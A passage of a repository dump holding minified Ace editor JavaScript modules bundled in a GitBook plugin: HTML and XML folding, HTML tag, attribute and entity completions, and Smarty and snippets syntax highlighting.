i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/smarty_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=function(){i.call(this);var e={start:[{include:\"#comments\"},{include:\"#blocks\"}],\"#blocks\":[{token:\"punctuation.section.embedded.begin.smarty\",regex:\"\\\\{%?\",push:[{token:\"punctuation.section.embedded.end.smarty\",regex:\"%?\\\\}\",next:\"pop\"},{include:\"#strings\"},{include:\"#variables\"},{include:\"#lang\"},{defaultToken:\"source.smarty\"}]}],\"#comments\":[{token:[\"punctuation.definition.comment.smarty\",\"comment.block.smarty\"],regex:\"(\\\\{%?)(\\\\*)\",push:[{token:\"comment.block.smarty\",regex:\"\\\\*%?\\\\}\",next:\"pop\"},{defaultToken:\"comment.block.smarty\"}]}],\"#lang\":[{token:\"keyword.operator.smarty\",regex:\"(?:!=|!|<=|>=|<|>|===|==|%|&&|\\\\|\\\\|)|\\\\b(?:and|or|eq|neq|ne|gte|gt|ge|lte|lt|le|not|mod)\\\\b\"},{token:\"constant.language.smarty\",regex:\"\\\\b(?:TRUE|FALSE|true|false)\\\\b\"},{token:\"keyword.control.smarty\",regex:\"\\\\b(?:if|else|elseif|foreach|foreachelse|section|switch|case|break|default)\\\\b\"},{token:\"variable.parameter.smarty\",regex:\"\\\\b[a-zA-Z]+=\"},{token:\"support.function.built-in.smarty\",regex:\"\\\\b(?:capture|config_load|counter|cycle|debug|eval|fetch|include_php|include|insert|literal|math|strip|rdelim|ldelim|assign|constant|block|html_[a-z_]*)\\\\b\"},{token:\"support.function.variable-modifier.smarty\",regex:\"\\\\|(?:capitalize|cat|count_characters|count_paragraphs|count_sentences|count_words|date_format|default|escape|indent|lower|nl2br|regex_replace|replace|spacify|string_format|strip_tags|strip|truncate|upper|wordwrap)\"}],\"#strings\":[{token:\"punctuation.definition.string.begin.smarty\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.smarty\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.smarty\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.single.smarty\"}]},{token:\"punctuation.definition.string.begin.smarty\",regex:'\"',push:[{token:\"punctuation.definition.string.end.smarty\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.smarty\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.double.smarty\"}]}],\"#variables\":[{token:[\"punctuation.definition.variable.smarty\",\"variable.other.global.smarty\"],regex:\"\\\\b(\\\\$)(Smarty\\\\.)\"},{token:[\"punctuation.definition.variable.smarty\",\"variable.other.smarty\"],regex:\"(\\\\$)([a-zA-Z_][a-zA-Z0-9_]*)\\\\b\"},{token:[\"keyword.operator.smarty\",\"variable.other.property.smarty\"],regex:\"(->)([a-zA-Z_][a-zA-Z0-9_]*)\\\\b\"},{token:[\"keyword.operator.smarty\",\"meta.function-call.object.smarty\",\"punctuation.definition.variable.smarty\",\"variable.other.smarty\",\"punctuation.definition.variable.smarty\"],regex:\"(->)([a-zA-Z_][a-zA-Z0-9_]*)(\\\\()(.*?)(\\\\))\"}]},t=e.start;for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],t);Object.keys(e).forEach(function(t){this.$rules[t]||(this.$rules[t]=e[t])},this),this.normalizeRules()};s.metaData={fileTypes:[\"tpl\"],foldingStartMarker:\"\\\\{%?\",foldingStopMarker:\"%?\\\\}\",name:\"Smarty\",scopeName:\"text.html.smarty\"},r.inherits(s,i),t.SmartyHighlightRules=s}),define(\"ace/mode/smarty\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/smarty_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./smarty_highlight_rules\").SmartyHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.$id=\"ace/mode/smarty\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-snippets.js",
    "content": "define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/snippets\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"SELECTION|CURRENT_WORD|SELECTED_TEXT|CURRENT_LINE|LINE_INDEX|LINE_NUMBER|SOFT_TABS|TAB_SIZE|FILENAME|FILEPATH|FULLNAME\";this.$rules={start:[{token:\"constant.language.escape\",regex:/\\\\[\\$}`\\\\]/},{token:\"keyword\",regex:\"\\\\$(?:TM_)?(?:\"+e+\")\\\\b\"},{token:\"variable\",regex:\"\\\\$\\\\w+\"},{onMatch:function(e,t,n){return n[1]?n[1]++:n.unshift(t,1),this.tokenName},tokenName:\"markup.list\",regex:\"\\\\${\",next:\"varDecl\"},{onMatch:function(e,t,n){return n[1]?(n[1]--,n[1]||n.splice(0,2),this.tokenName):\"text\"},tokenName:\"markup.list\",regex:\"}\"},{token:\"doc.comment\",regex:/^\\${2}-{5,}$/}],varDecl:[{regex:/\\d+\\b/,token:\"constant.numeric\"},{token:\"keyword\",regex:\"(?:TM_)?(?:\"+e+\")\\\\b\"},{token:\"variable\",regex:\"\\\\w+\"},{regex:/:/,token:\"punctuation.operator\",next:\"start\"},{regex:/\\//,token:\"string.regex\",next:\"regexp\"},{regex:\"\",next:\"start\"}],regexp:[{regex:/\\\\./,token:\"escape\"},{regex:/\\[/,token:\"regex.start\",next:\"charClass\"},{regex:\"/\",token:\"string.regex\",next:\"format\"},{token:\"string.regex\",regex:\".\"}],charClass:[{regex:\"\\\\.\",token:\"escape\"},{regex:\"\\\\]\",token:\"regex.end\",next:\"regexp\"},{token:\"string.regex\",regex:\".\"}],format:[{regex:/\\\\[ulULE]/,token:\"keyword\"},{regex:/\\$\\d+/,token:\"variable\"},{regex:\"/[gim]*:?\",token:\"string.regex\",next:\"start\"},{token:\"string\",regex:\".\"}]}};r.inherits(o,s),t.SnippetHighlightRules=o;var u=function(){this.$rules={start:[{token:\"text\",regex:\"^\\\\t\",next:\"sn-start\"},{token:\"invalid\",regex:/^ \\s*/},{token:\"comment\",regex:/^#.*/},{token:\"constant.language.escape\",regex:\"^regex \",next:\"regex\"},{token:\"constant.language.escape\",regex:\"^(trigger|endTrigger|name|snippet|guard|endGuard|tabTrigger|key)\\\\b\"}],regex:[{token:\"text\",regex:\"\\\\.\"},{token:\"keyword\",regex:\"/\"},{token:\"empty\",regex:\"$\",next:\"start\"}]},this.embedRules(o,\"sn-\",[{token:\"text\",regex:\"^\\\\t\",next:\"sn-start\"},{onMatch:function(e,t,n){return n.splice(n.length),this.tokenName},tokenName:\"text\",regex:\"^(?!\t)\",next:\"start\"}])};r.inherits(u,s),t.SnippetGroupHighlightRules=u;var a=e(\"./folding/coffee\").FoldMode,f=function(){this.HighlightRules=u,this.foldingRules=new a};r.inherits(f,i),function(){this.$indentWithTabs=!0,this.lineCommentStart=\"#\",this.$id=\"ace/mode/snippets\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-soy_template.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else 